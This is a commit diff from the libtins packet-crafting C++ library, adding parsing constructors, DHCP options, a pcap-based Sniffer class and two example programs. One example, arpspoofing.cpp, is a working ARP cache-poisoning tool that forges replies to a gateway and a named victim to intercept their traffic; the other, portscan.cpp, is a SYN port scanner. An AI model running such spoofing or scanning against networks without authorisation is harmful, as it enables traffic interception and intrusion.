1
0
mirror of https://github.com/mfontanini/libtins synced 2026-01-23 02:35:57 +01:00

Fixed merge conflics

This commit is contained in:
Santiago Alessandri
2011-08-19 09:43:49 -03:00
25 changed files with 960 additions and 122 deletions

View File

@@ -1,6 +1,6 @@
CXX=@CXX@
CFLAGS=-c -Wall @CFLAGS@ -DTINS_VERSION=@PACKAGE_VERSION@
LDFLAGS=
LDFLAGS=-lpcap
SOURCES=$(wildcard src/*.cpp)
OBJECTS=$(SOURCES:.cpp=.o)

107
examples/arpspoofing.cpp Normal file
View File

@@ -0,0 +1,107 @@
/*
* libtins is a net packet wrapper library for crafting and
* interpreting sniffed packets.
*
* Copyright (C) 2011 Nasel
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <iostream>
#include <string>
#include <stdint.h>
#include <cstdlib>
#include "arp.h"
#include "utils.h"
#include "ethernetII.h"
using namespace std;
using namespace Tins;
int do_arp_spoofing(uint32_t iface, const string &iface_name, uint32_t gw, uint32_t victim, uint32_t own_ip, uint8_t *own_hw) {
PacketSender sender;
uint8_t gw_hw[6], victim_hw[6];
// Resolves gateway's hardware address.
if(!Utils::resolve_hwaddr(iface_name, gw, gw_hw, &sender)) {
cout << "Could not resolve gateway's ip address.\n";
return 5;
}
// Resolves victim's hardware address.
if(!Utils::resolve_hwaddr(iface_name, victim, victim_hw, &sender)) {
cout << "Could not resolve victim's ip address.\n";
return 6;
}
cout << " Using gateway hw address: " << Utils::hwaddr_to_string(gw_hw) << "\n";
cout << " Using victim hw address: " << Utils::hwaddr_to_string(victim_hw) << "\n";
cout << " Using own hw address: " << Utils::hwaddr_to_string(own_hw) << "\n";
/* We tell the gateway that the victim is at out hw address,
* and tell the victim that the gateway is at out hw address */
ARP *gw_arp = new ARP(gw, victim, gw_hw, own_hw),
*victim_arp = new ARP(victim, gw, victim_hw, own_hw);
// We are "replying" ARP requests
gw_arp->opcode(ARP::REPLY);
victim_arp->opcode(ARP::REPLY);
/* The packet we'll send to the gateway and victim.
* We include ut hw address as the source address
* in ethernet layer, to avoid possible packet dropping
* performed by any routers. */
EthernetII to_gw(iface, gw_hw, own_hw, gw_arp);
EthernetII to_victim(iface, victim_hw, own_hw, victim_arp);
while(true) {
// Just send them once every 5 seconds.
if(!sender.send(&to_gw) || !sender.send(&to_victim))
return 7;
sleep(5);
}
}
int main(int argc, char *argv[]) {
if(argc < 3 && cout << "Usage: " << *argv << " <Gateway> <Victim> [Interface=eth0]\n")
return 1;
uint32_t gw, victim, own_ip;
uint8_t own_hw[6];
// By default, eth0 is used.
string iface("eth0");
try {
// Convert dotted-notation ip addresses to integer.
gw = Utils::ip_to_int(argv[1]);
victim = Utils::ip_to_int(argv[2]);
}
catch(...) {
cout << "Invalid ip found...\n";
return 2;
}
if(argc == 4)
iface = argv[3];
uint32_t iface_index;
// Lookup the interface id. This will be required while forging packets.
if(!Utils::interface_id(iface, iface_index) && cout << "Interface " << iface << " does not exist!\n")
return 3;
// Find the interface hardware and ip address.
if(!Utils::interface_hwaddr(iface, own_hw) || !Utils::interface_ip(iface, own_ip)) {
cout << "Error fetching addresses from " << iface << "\n";
return 4;
}
// Poison ARP tables :D
return do_arp_spoofing(iface_index, iface, gw, victim, own_ip, own_hw);
}

116
examples/portscan.cpp Normal file
View File

@@ -0,0 +1,116 @@
/*
* libtins is a net packet wrapper library for crafting and
* interpreting sniffed packets.
*
* Copyright (C) 2011 Nasel
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <iostream>
#include <string>
#include <cstdlib>
#include <pthread.h>
#include "ip.h"
#include "tcp.h"
#include "ethernetII.h"
#include "sniffer.h"
#include "utils.h"
#include "packetsender.h"
using namespace std;
using namespace Tins;
struct ThreadData {
string interface;
string ip;
};
struct ScanHandler {
bool operator() (PDU *pdu) {
EthernetII *eth = dynamic_cast<EthernetII*>(pdu);
if(eth) {
IP *ip = dynamic_cast<IP*>(pdu->inner_pdu());
if(ip) {
TCP *tcp = dynamic_cast<TCP*>(ip->inner_pdu());
if(tcp) {
if(tcp->get_flag(TCP::RST))
cout << "Port: " << tcp->sport() << " closed\n";
else if(tcp->get_flag(TCP::SYN))
cout << "Port: " << tcp->sport() << " open\n";
}
}
}
return true;
}
};
Sniffer *sniffer;
void send_syns(const string &iface, uint32_t dest_ip, int argc, char *argv[]) {
uint32_t own_ip;
if(!Utils::interface_ip(iface, own_ip) && cout << "Error obtaining interface ip.\n")
return;
PacketSender sender;
TCP *tcp = new TCP();
IP ip(dest_ip, own_ip, tcp);
tcp->set_flag(TCP::SYN, 1);
while(argc--) {
uint32_t port = atoi(*(argv++));
tcp->dport(port);
sender.send(&ip);
}
}
void *thread_proc(void *param) {
ThreadData *data = (ThreadData*)param;
ScanHandler handler;
AbstractSnifferHandler *my_handler = new SnifferHandler<ScanHandler>(&handler);
sniffer->sniff_loop("tcp and ip src " + data->ip, my_handler);
cout << "Listo\n";
delete my_handler;
return 0;
}
int main(int argc, char *argv[]) {
if(argc < 3 && cout << "Usage: " << *argv << " <IPADDR> <port1> [port2] [port3]\n")
return 1;
uint32_t ip;
try {
ip = Utils::resolve_ip(argv[1]);
}
catch(...) {
cout << "IP address is not valid.\n";
return 2;
}
string iface = Utils::interface_from_ip(ip);
if(!iface.size() && cout << "Could not locate gateway interface for given ip address\n")
return 3;
sniffer = new Sniffer(iface, 300);
ThreadData data;
data.interface = iface;
data.ip = argv[1];
pthread_t thread;
pthread_create(&thread, 0, thread_proc, &data);
send_syns(iface, ip, argc - 2, argv + 2);
sleep(5);
pthread_cancel(thread);
delete sniffer;
}

View File

@@ -50,7 +50,15 @@ namespace Tins {
* ARP requests and replies can be constructed easily using
* ARP::make_arp_request/reply static functions.
*/
ARP();
ARP(uint32_t target_ip = 0, uint32_t sender_ip = 0, const uint8_t *target_hw = 0, const uint8_t *sender_hw = 0);
/**
* \brief Constructor which creates an TCP object from a buffer and adds all identifiable
* PDUs found in the buffer as children of this one.
* \param buffer The buffer from which this PDU will be constructed.
* \param total_sz The total size of the buffer.
*/
ARP(const uint8_t *buffer, uint32_t total_sz);
/* Getters */
/**
@@ -305,7 +313,7 @@ namespace Tins {
* \return The cloned PDU.
* \sa PDU::clone_packet
*/
PDU *clone_packet(uint8_t *ptr, uint32_t total_sz);
PDU *clone_packet(const uint8_t *ptr, uint32_t total_sz);
private:
struct arphdr {
@@ -325,7 +333,7 @@ namespace Tins {
*
* \param arp_ptr The pointer to the arphdr.
*/
ARP(arphdr *arp_ptr);
ARP(const arphdr *arp_ptr);
void write_serialization(uint8_t *buffer, uint32_t total_sz, const PDU *parent);

View File

@@ -24,6 +24,7 @@
#include <list>
#include <string>
#include "bootp.h"
@@ -130,10 +131,29 @@ namespace Tins {
* \brief DHCP options struct.
*/
struct DHCPOption {
uint8_t option, length;
/**
* \brief The option number.
*/
uint8_t option;
/**
* \brief The value's length in bytes.
*/
uint8_t length;
/**
* \brief The option's value.
*/
uint8_t *value;
DHCPOption(uint8_t opt, uint8_t len, uint8_t *val);
/**
* \brief Creates an instance of DHCPOption.
*
* The option's value is copied, therefore the user should
* manually free any memory pointed by the "val" parameter.
* \param opt The option number.
* \param len The length of the option's value in bytes.
* \param val The option's value.
*/
DHCPOption(uint8_t opt, uint8_t len, const uint8_t *val);
};
/**
@@ -144,6 +164,13 @@ namespace Tins {
*/
DHCP();
/**
* \brief DHCP destructor
*
* Releases the memory allocated for options.
*/
~DHCP();
/**
* \brief Adds a new option to this DHCP PDU.
*
@@ -154,7 +181,7 @@ namespace Tins {
* \param val The value of this option.
* \return True if the option was added successfully.
*/
bool add_option(Options opt, uint8_t len, uint8_t *val);
bool add_option(Options opt, uint8_t len, const uint8_t *val);
/**
* \brief Adds a type option the the option list.
@@ -177,6 +204,41 @@ namespace Tins {
*/
bool add_lease_time(uint32_t time);
/**
* \brief Adds a subnet mask option.
* \param mask The subnet mask.
* \return True if the option was added successfully. \sa DHCP::add_option
*/
bool add_subnet_mask(uint32_t mask);
/**
* \brief Adds a routers option.
* \param routers A list of ip addresses in integer notation.
* \return True if the option was added successfully. \sa DHCP::add_option
*/
bool add_routers_option(const std::list<uint32_t> &routers);
/**
* \brief Adds a domain name servers option.
* \param dns A list of ip addresses in integer notation.
* \return True if the option was added successfully. \sa DHCP::add_option
*/
bool add_dns_options(const std::list<uint32_t> &dns);
/**
* \brief Adds a broadcast address option.
* \param addr The broadcast address.
* \return True if the option was added successfully. \sa DHCP::add_option
*/
bool add_broadcast_option(uint32_t addr);
/**
* \brief Adds a domain name option.
* \param name The domain name.
* \return True if the option was added successfully. \sa DHCP::add_option
*/
bool add_domain_name(const std::string &name);
/** \brief Getter for the options list.
* \return The option list.
*/
@@ -199,6 +261,8 @@ namespace Tins {
void write_serialization(uint8_t *buffer, uint32_t total_sz, const PDU *parent);
uint8_t *serialize_list(const std::list<uint32_t> &int_list, uint32_t &sz);
std::list<DHCPOption> _options;
uint32_t _size;
};

View File

@@ -66,6 +66,14 @@ namespace Tins {
*/
EthernetII(uint32_t iface_index, const uint8_t* dst_hw_addr = 0, const uint8_t* src_hw_addr = 0, PDU* child = 0);
/**
* \brief Constructor which creates an EthernetII object from a buffer and adds all identifiable
* PDUs found in the buffer as children of this one.
* \param buffer The buffer from which this PDU will be constructed.
* \param total_sz The total size of the buffer.
*/
EthernetII(const uint8_t *buffer, uint32_t total_sz);
/* Getters */
/**
* \brief Getter for the destination's mac address.
@@ -88,7 +96,14 @@ namespace Tins {
*/
inline uint32_t iface() const { return this->_iface_index; }
/**
* \brief Getter for the payload_type
* \return The payload type.
*/
uint16_t payload_type() const;
/* Setters */
/**
* \brief Setter for the destination's MAC.
*
@@ -177,11 +192,11 @@ namespace Tins {
*/
EthernetII(ethhdr *eth_ptr);
void write_serialization(uint8_t *buffer, uint32_t total_sz, const PDU *parent);
ethhdr _eth;
uint32_t _iface_index;
void write_serialization(uint8_t *buffer, uint32_t total_sz, const PDU *parent);
};
};

View File

@@ -57,6 +57,14 @@ namespace Tins {
*/
ICMP(Flags flag = ECHO_REQUEST);
/**
* \brief Constructor which creates an ICMP object from a buffer and adds all identifiable
* PDUs found in the buffer as children of this one.
* \param buffer The buffer from which this PDU will be constructed.
* \param total_sz The total size of the buffer.
*/
ICMP(const uint8_t *buffer, uint32_t total_sz);
/**
* \brief Sets the code field.
*
@@ -273,7 +281,7 @@ namespace Tins {
* \return The cloned PDU.
* \sa PDU::clone_packet
*/
PDU *clone_packet(uint8_t *ptr, uint32_t total_sz);
PDU *clone_packet(const uint8_t *ptr, uint32_t total_sz);
private:
static uint16_t global_id, global_seq;
@@ -298,7 +306,7 @@ namespace Tins {
*
* \param ptr The icmphdr to clone.
*/
ICMP(icmphdr *ptr);
ICMP(const icmphdr *ptr);
/** \brief Serialices this ICMP PDU.
* \param buffer The buffer in which the PDU will be serialized.

View File

@@ -100,6 +100,14 @@ namespace Tins {
*/
IP(uint32_t ip_dst = 0, uint32_t ip_src = 0, PDU *child = 0);
/**
* \brief Constructor which creates an IP object from a buffer and adds all identifiable
* PDUs found in the buffer as children of this one.
* \param buffer The buffer from which this PDU will be constructed.
* \param total_sz The total size of the buffer.
*/
IP(const uint8_t *buffer, uint32_t total_sz);
/**
* \brief Destructor for IP objects.
*
@@ -340,7 +348,7 @@ namespace Tins {
* \return The cloned PDU.
* \sa PDU::clone_packet
*/
PDU *clone_packet(uint8_t *ptr, uint32_t total_sz);
PDU *clone_packet(const uint8_t *ptr, uint32_t total_sz);
private:
static const uint8_t DEFAULT_TTL;

View File

@@ -164,7 +164,7 @@ namespace Tins {
* \param total_sz The size of the buffer.
* \return The cloned PDU.
*/
virtual PDU *clone_packet(uint8_t *ptr, uint32_t total_sz) { return 0; }
virtual PDU *clone_packet(const uint8_t *ptr, uint32_t total_sz) { return 0; }
protected:
/** \brief Serializes this PDU and propagates this action to child PDUs.
*
@@ -181,7 +181,7 @@ namespace Tins {
* \param total_sz The total size of the buffer.
* \return Returns the cloned PDU. Will be 0 if cloning failed.
*/
PDU *clone_inner_pdu(uint8_t *ptr, uint32_t total_sz);
PDU *clone_inner_pdu(const uint8_t *ptr, uint32_t total_sz);
/** \brief Serializes this TCP PDU.
*

View File

@@ -37,14 +37,21 @@ namespace Tins {
public:
/** \brief Creates an instance of RawPDU.
*
* The payload is not copied by default, therefore it must be
* manually freed by the user. If the payload was to be copied,
* then the copy flag must be set to true.
* The payload is copied, therefore the original payload's memory
* must be freed by the user.
* \param pload The payload which the RawPDU will contain.
* \param size The size of the payload.
* \param copy Flag indicating wether to copy the payload.
*/
RawPDU(uint8_t *pload, uint32_t size, bool copy = false);
RawPDU(const uint8_t *pload, uint32_t size);
/** \brief Creates an instance of RawPDU.
*
* The payload is not copied in this constructor, therefore
* it must be manually freed by the user.
* \param pload The payload which the RawPDU will contain.
* \param size The size of the payload.
*/
RawPDU(uint8_t *pload, uint32_t size);
/** \brief RawPDU destructor.
*

138
include/sniffer.h Normal file
View File

@@ -0,0 +1,138 @@
/*
* libtins is a net packet wrapper library for crafting and
* interpreting sniffed packets.
*
* Copyright (C) 2011 Nasel
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#ifndef __SNIFFER_H
#define __SNIFFER_H
#include <pcap.h>
#include <string>
#include "pdu.h"
namespace Tins {
/**
* \brief Abstract sniffed packet handler.
*
* Base class to handle sniffed packets when using Sniffer::sniff_loop.
* Users should either inherit this class, or use the template class
* SnifferHandler to provide their own handlers.
*/
class AbstractSnifferHandler {
public:
/**
* \brief AbstractSnifferHandler destructor.
*/
virtual ~AbstractSnifferHandler() { }
/**
* \brief Handle a captured PDU.
* \return Should return false if no more sniffing is required.
*/
virtual bool handle(PDU *pdu) = 0;
};
/**
* \brief Sniffer class can be used to sniff packets using filters.
*/
class Sniffer {
public:
/**
* \brief Creates an instance of sniffer.
* \param device The device which will be sniffed.
* \param max_packet_size The maximum packet size to be read.
*/
Sniffer(const std::string &device, unsigned max_packet_size);
/**
* \brief Sniffer destructor.
* This frees all memory used by the pcap handle.
*/
~Sniffer();
/**
* \brief Compiles a filter and uses it to capture one packet.
*
* This method should be used only when expecting few packets.
* It's innefficient since it recompiles the filter every time it
* is called. To reuse a filter and sniff more efficiently, use
* Sniffer::sniff_loop.
* \param filter The filter which will be used while sniffing.
* \return The captured packet, matching the given filter, 0 if an
* error occured(probably compiling the filter).
*/
PDU *next_pdu(const std::string &filter);
/**
* \brief Starts a sniffing loop, using a callback object for every
* sniffed packet.
*
* Handlers could be user-provided classes which inherit AbstractSnifferHandler,
* or it could be a specific SnifferHandler specialization. This method deletes
* packets after they are handled, therefore the handlers MUST NOT delete them.
* \param filter The filter to use when sniffing.
* \param cback_handler The callback handler object which should process packets.
* \param max_packets The maximum amount of packets to sniff. 0 == infinite.
*/
void sniff_loop(const std::string &filter, AbstractSnifferHandler *cback_handler, uint32_t max_packets = 0);
/**
* \brief Stops sniffing loops.
*/
void stop_sniff();
private:
bool compile_set_filter(const std::string &filter, bpf_program &prog);
static void callback_handler(u_char *args, const struct pcap_pkthdr *header, const u_char *packet);
pcap_t *handle;
bpf_u_int32 ip, mask;
};
/**
* \brief Concrete implementation of AbstractSnifferHandler.
*
* This class is instantiated using a pointer to the actual handler.
* Every time a packet is sniffed, operator() (PDU*) will be called on
* the given pointer. \sa AbstractSnifferHandler
*/
template<class T> class SnifferHandler : public AbstractSnifferHandler {
public:
/**
* Creates an instance of SnifferHandler.
* \param ptr The pointer to the actual handler.
*/
SnifferHandler(T *ptr) : handler(ptr) { }
/**
* \brief The overriden AbstractSnifferHandler::handle.
* \param pdu The sniffed PDU.
* \return False if no more sniffing is required, otherwise true.
*/
bool handle(PDU *pdu) {
return (*handler)(pdu);
}
private:
T *handler;
};
};
#endif

View File

@@ -78,15 +78,21 @@ namespace Tins {
* \param dport Destination port.
* \param sport Source port.
* */
TCP(uint16_t dport = 0, uint16_t sport = 0);
/**
* \brief Constructor which creates an TCP object from a buffer and adds all identifiable
* PDUs found in the buffer as children of this one.
* \param buffer The buffer from which this PDU will be constructed.
* \param total_sz The total size of the buffer.
*/
TCP(const uint8_t *buffer, uint32_t total_sz);
/**
* \brief TCP destructor.
*
* Destructs the TCP instance. Does not free the payload.
* */
~TCP();
/**
@@ -145,6 +151,16 @@ namespace Tins {
*/
inline uint8_t data_offset() const { return this->_tcp.doff; }
/**
* \brief Gets the value of a flag.
*
* \param tcp_flag The polled flag.
* \return The value of the flag.
*/
uint8_t get_flag(Flags tcp_flag);
/* Setters */
/**
* \brief Setter for the destination port field.
*

View File

@@ -34,15 +34,24 @@ namespace Tins {
*/
class UDP : public PDU {
public:
/** \brief UDP constructor.
/**
* \brief UDP constructor.
*
* Creates an instance of UDP. Destination and source port can
* be provided, otherwise both will be 0.
* \param dport Destination port.
* \param sport Source port.
* \param child The child PDU(optional).
* */
UDP(uint16_t dport = 0, uint16_t sport = 0, PDU *child = 0);
/**
* \brief Constructor which creates an UDP object from a buffer and adds all identifiable
* PDUs found in the buffer as children of this one.
* \param buffer The buffer from which this PDU will be constructed.
* \param total_sz The total size of the buffer.
*/
UDP(const uint8_t *buffer, uint32_t total_sz);
/** \brief Returns the destination port
*/

View File

@@ -97,7 +97,8 @@ namespace Tins {
*/
std::set<std::string> network_interfaces();
/** \brief Lookup the ip address of the given interface.
/**
* \brief Lookup the ip address of the given interface.
*
* If the lookup fails, false will be returned, true otherwise.
* \param iface The interface from which to extract the ip address.
@@ -105,7 +106,8 @@ namespace Tins {
*/
bool interface_ip(const std::string &iface, uint32_t &ip);
/** \brief Lookup the hardware address of the given interface.
/**
* \brief Lookup the hardware address of the given interface.
*
* If the lookup fails, false will be returned, true otherwise.
* \param iface The interface from which to extract the hardware address.
@@ -114,15 +116,27 @@ namespace Tins {
*/
bool interface_hwaddr(const std::string &iface, uint8_t *buffer);
/** \brief Lookup the interface identifier.
/**
* \brief Lookup the interface identifier.
*
* If the lookup fails, false will be returned, true otherwise.
* \param iface The interface from which to extract the identifier.
* \param flag The interface id will be returned in this parameter.
* \param id The interface id will be returned in this parameter.
*/
bool interface_id(const std::string &iface, uint32_t &id);
/** \brief Convert 32 bit integer into network byte order.
/**
* \brief Finds the gateway interface matching the given ip.
*
* This function find the interface which would be the gateway
* when sending a packet to the given ip.
* \param ip The ip of the interface we are looking for.
* \return The interface's name.
*/
std::string interface_from_ip(uint32_t ip);
/**
* \brief Convert 32 bit integer into network byte order.
*
* \param data The data to convert.
*/

View File

@@ -31,73 +31,31 @@
using namespace std;
Tins::PDU* Tins::ARP::make_arp_request(const std::string& iface,
const std::string& target,
const std::string& sender,
const uint8_t* hw_snd) {
uint32_t target_ip = Tins::Utils::resolve_ip(target);
uint32_t sender_ip = Tins::Utils::resolve_ip(sender);
return make_arp_request(iface, target_ip, sender_ip, hw_snd);
Tins::ARP::ARP(uint32_t target_ip, uint32_t sender_ip, const uint8_t *target_hw, const uint8_t *sender_hw) : PDU(0x0608) {
memset(&_arp, 0, sizeof(arphdr));
hw_addr_format(1);
prot_addr_format(0x0800);
hw_addr_length(6);
prot_addr_length(4);
sender_ip_addr(sender_ip);
target_ip_addr(target_ip);
if(sender_hw)
sender_hw_addr(sender_hw);
if(target_hw)
target_hw_addr(target_hw);
}
Tins::PDU* Tins::ARP::make_arp_request(const std::string& iface,
uint32_t target,
uint32_t sender,
const uint8_t* hw_snd) {
/* Create ARP packet and set its attributes */
ARP* arp = new ARP();
arp->target_ip_addr(target);
arp->sender_ip_addr(sender);
if (hw_snd) {
arp->sender_hw_addr(hw_snd);
}
arp->opcode(REQUEST);
/* Create the EthernetII PDU with the ARP PDU as its inner PDU */
EthernetII* eth = new EthernetII(iface, Tins::EthernetII::BROADCAST, hw_snd, arp);
return eth;
Tins::ARP::ARP(const uint8_t *buffer, uint32_t total_sz) : PDU(0x0608) {
if(total_sz < sizeof(arphdr))
throw std::runtime_error("Not enought size for an ARP header in the buffer.");
memcpy(&_arp, buffer, sizeof(arphdr));
total_sz -= sizeof(arphdr);
if(total_sz)
inner_pdu(new RawPDU(buffer + sizeof(arphdr), total_sz));
}
Tins::PDU* Tins::ARP::make_arp_reply(const string& iface,
const string& target,
const string& sender,
const uint8_t* hw_tgt,
const uint8_t* hw_snd) {
uint32_t target_ip = Tins::Utils::resolve_ip(target);
uint32_t sender_ip = Tins::Utils::resolve_ip(sender);
return make_arp_reply(iface, target_ip, sender_ip, hw_tgt, hw_snd);
}
Tins::PDU* Tins::ARP::make_arp_reply(const string& iface,
uint32_t target,
uint32_t sender,
const uint8_t* hw_tgt,
const uint8_t* hw_snd) {
/* Create ARP packet and set its attributes */
ARP* arp = new ARP();
arp->target_ip_addr(target);
arp->sender_ip_addr(sender);
arp->target_hw_addr(hw_tgt);
arp->sender_hw_addr(hw_snd);
arp->opcode(REPLY);
/* Create the EthernetII PDU with the ARP PDU as its inner PDU */
EthernetII* eth = new EthernetII(iface, hw_tgt, hw_snd, arp);
return eth;
}
Tins::ARP::ARP() : PDU(0x0608) {
std::memset(&_arp, 0, sizeof(arphdr));
this->hw_addr_format(1);
this->prot_addr_format(0x0800);
this->hw_addr_length(6);
this->prot_addr_length(4);
}
Tins::ARP::ARP(arphdr *arp_ptr) : PDU(Utils::net_to_host_s(0x0806)) {
Tins::ARP::ARP(const arphdr *arp_ptr) : PDU(Utils::net_to_host_s(0x0806)) {
memcpy(&_arp, arp_ptr, sizeof(arphdr));
}
@@ -182,10 +140,10 @@ bool Tins::ARP::matches_response(uint8_t *ptr, uint32_t total_sz) {
return arp_ptr->ar_sip == _arp.ar_tip && arp_ptr->ar_tip == _arp.ar_sip;
}
Tins::PDU *Tins::ARP::clone_packet(uint8_t *ptr, uint32_t total_sz) {
Tins::PDU *Tins::ARP::clone_packet(const uint8_t *ptr, uint32_t total_sz) {
if(total_sz < sizeof(arphdr))
return 0;
arphdr *arp_ptr = (arphdr*)ptr;
const arphdr *arp_ptr = (arphdr*)ptr;
PDU *child = 0, *cloned;
if(total_sz > sizeof(arphdr)) {
if((child = PDU::clone_inner_pdu(ptr + sizeof(arphdr), total_sz - sizeof(arphdr))) == 0)
@@ -195,3 +153,61 @@ Tins::PDU *Tins::ARP::clone_packet(uint8_t *ptr, uint32_t total_sz) {
cloned->inner_pdu(child);
return cloned;
}
Tins::PDU* Tins::ARP::make_arp_request(const string& iface,
const string& target,
const string& sender,
const uint8_t* hw_snd) {
uint32_t target_ip = Tins::Utils::resolve_ip(target);
uint32_t sender_ip = Tins::Utils::resolve_ip(sender);
return make_arp_request(iface, target_ip, sender_ip, hw_snd);
}
Tins::PDU* Tins::ARP::make_arp_request(const std::string& iface,
uint32_t target,
uint32_t sender,
const uint8_t* hw_snd) {
/* Create ARP packet and set its attributes */
ARP* arp = new ARP();
arp->target_ip_addr(target);
arp->sender_ip_addr(sender);
if (hw_snd) {
arp->sender_hw_addr(hw_snd);
}
arp->opcode(REQUEST);
/* Create the EthernetII PDU with the ARP PDU as its inner PDU */
EthernetII* eth = new EthernetII(iface, Tins::EthernetII::BROADCAST, hw_snd, arp);
return eth;
}
Tins::PDU* Tins::ARP::make_arp_reply(const string& iface,
const string& target,
const string& sender,
const uint8_t* hw_tgt,
const uint8_t* hw_snd) {
uint32_t target_ip = Tins::Utils::resolve_ip(target);
uint32_t sender_ip = Tins::Utils::resolve_ip(sender);
return make_arp_reply(iface, target_ip, sender_ip, hw_tgt, hw_snd);
}
Tins::PDU* Tins::ARP::make_arp_reply(const string& iface,
uint32_t target,
uint32_t sender,
const uint8_t* hw_tgt,
const uint8_t* hw_snd) {
/* Create ARP packet and set its attributes */
ARP* arp = new ARP();
arp->target_ip_addr(target);
arp->sender_ip_addr(sender);
arp->target_hw_addr(hw_tgt);
arp->sender_hw_addr(hw_snd);
arp->opcode(REPLY);
/* Create the EthernetII PDU with the ARP PDU as its inner PDU */
EthernetII* eth = new EthernetII(iface, hw_tgt, hw_snd, arp);
return eth;
}

View File

@@ -21,12 +21,13 @@
#include <cstring>
#include <cassert>
#include <iostream> //borrame
#include "utils.h"
#include "dhcp.h"
const uint32_t Tins::DHCP::MAX_DHCP_SIZE = 312;
using namespace std;
/* Magic cookie: uint32_t.
* end of options: 1 byte. */
Tins::DHCP::DHCP() : _size(sizeof(uint32_t) + 1) {
@@ -35,12 +36,19 @@ Tins::DHCP::DHCP() : _size(sizeof(uint32_t) + 1) {
hlen(6);
}
Tins::DHCP::DHCPOption::DHCPOption(uint8_t opt, uint8_t len, uint8_t *val) : option(opt), length(len) {
Tins::DHCP::~DHCP() {
while(_options.size()) {
delete[] _options.front().value;
_options.pop_front();
}
}
Tins::DHCP::DHCPOption::DHCPOption(uint8_t opt, uint8_t len, const uint8_t *val) : option(opt), length(len) {
value = new uint8_t[len];
std::memcpy(value, val, len);
}
bool Tins::DHCP::add_option(Options opt, uint8_t len, uint8_t *val) {
bool Tins::DHCP::add_option(Options opt, uint8_t len, const uint8_t *val) {
uint32_t opt_size = len + (sizeof(uint8_t) << 1);
if(_size + opt_size > MAX_DHCP_SIZE)
return false;
@@ -50,16 +58,53 @@ bool Tins::DHCP::add_option(Options opt, uint8_t len, uint8_t *val) {
}
bool Tins::DHCP::add_type_option(Flags type) {
return add_option(DHCP_MESSAGE_TYPE, 1, (uint8_t*)&type);
return add_option(DHCP_MESSAGE_TYPE, 1, (const uint8_t*)&type);
}
bool Tins::DHCP::add_server_identifier(uint32_t ip) {
return add_option(DHCP_SERVER_IDENTIFIER, 4, (uint8_t*)&ip);
return add_option(DHCP_SERVER_IDENTIFIER, 4, (const uint8_t*)&ip);
}
bool Tins::DHCP::add_lease_time(uint32_t time) {
time = Utils::net_to_host_l(time);
return add_option(DHCP_LEASE_TIME, 4, (uint8_t*)&time);
return add_option(DHCP_LEASE_TIME, 4, (const uint8_t*)&time);
}
bool Tins::DHCP::add_subnet_mask(uint32_t mask) {
return add_option(SUBNET_MASK, 4, (const uint8_t*)&mask);
}
bool Tins::DHCP::add_routers_option(const list<uint32_t> &routers) {
uint32_t size;
uint8_t *buffer = serialize_list(routers, size);
bool ret = add_option(ROUTERS, size, buffer);
delete[] buffer;
return ret;
}
bool Tins::DHCP::add_dns_options(const list<uint32_t> &dns) {
uint32_t size;
uint8_t *buffer = serialize_list(dns, size);
bool ret = add_option(DOMAIN_NAME_SERVERS, size, buffer);
delete[] buffer;
return ret;
}
bool Tins::DHCP::add_broadcast_option(uint32_t addr) {
return add_option(BROADCAST_ADDRESS, 4, (uint8_t*)&addr);
}
bool Tins::DHCP::add_domain_name(const string &name) {
return add_option(DOMAIN_NAME, name.size(), (const uint8_t*)name.c_str());
}
uint8_t *Tins::DHCP::serialize_list(const list<uint32_t> &int_list, uint32_t &sz) {
uint8_t *buffer = new uint8_t[int_list.size() * sizeof(uint32_t)];
uint32_t *ptr = (uint32_t*)buffer;
for(list<uint32_t>::const_iterator it = int_list.begin(); it != int_list.end(); ++it)
*(ptr++) = *it;
sz = sizeof(uint32_t) * int_list.size();
return buffer;
}
uint32_t Tins::DHCP::header_size() const {
@@ -69,6 +114,7 @@ uint32_t Tins::DHCP::header_size() const {
void Tins::DHCP::write_serialization(uint8_t *buffer, uint32_t total_sz, const PDU *parent) {
assert(total_sz >= header_size());
uint8_t *result = new uint8_t[_size], *ptr = result + sizeof(uint32_t);
// Magic cookie
*((uint32_t*)result) = Utils::net_to_host_l(0x63825363);
for(std::list<DHCPOption>::const_iterator it = _options.begin(); it != _options.end(); ++it) {
*(ptr++) = it->option;
@@ -76,6 +122,7 @@ void Tins::DHCP::write_serialization(uint8_t *buffer, uint32_t total_sz, const P
std::memcpy(ptr, it->value, it->length);
ptr += it->length;
}
// End of options
result[_size-1] = END;
vend(result, _size);
BootP::write_serialization(buffer, total_sz, parent);

View File

@@ -21,7 +21,7 @@
#include <cassert>
#include <cstring>
#include <stdexcept>
#ifndef WIN32
#include <net/ethernet.h>
#include <netpacket/packet.h>
@@ -29,6 +29,8 @@
#endif
#include "ethernetII.h"
#include "rawpdu.h"
#include "ip.h"
#include "arp.h"
#include "utils.h"
const uint8_t* Tins::EthernetII::BROADCAST = (const uint8_t*)"\xff\xff\xff\xff\xff\xff";
@@ -54,10 +56,31 @@ Tins::EthernetII::EthernetII(uint32_t iface_index, const uint8_t* dst_hw_addr, c
this->_eth.payload_type = 0;
}
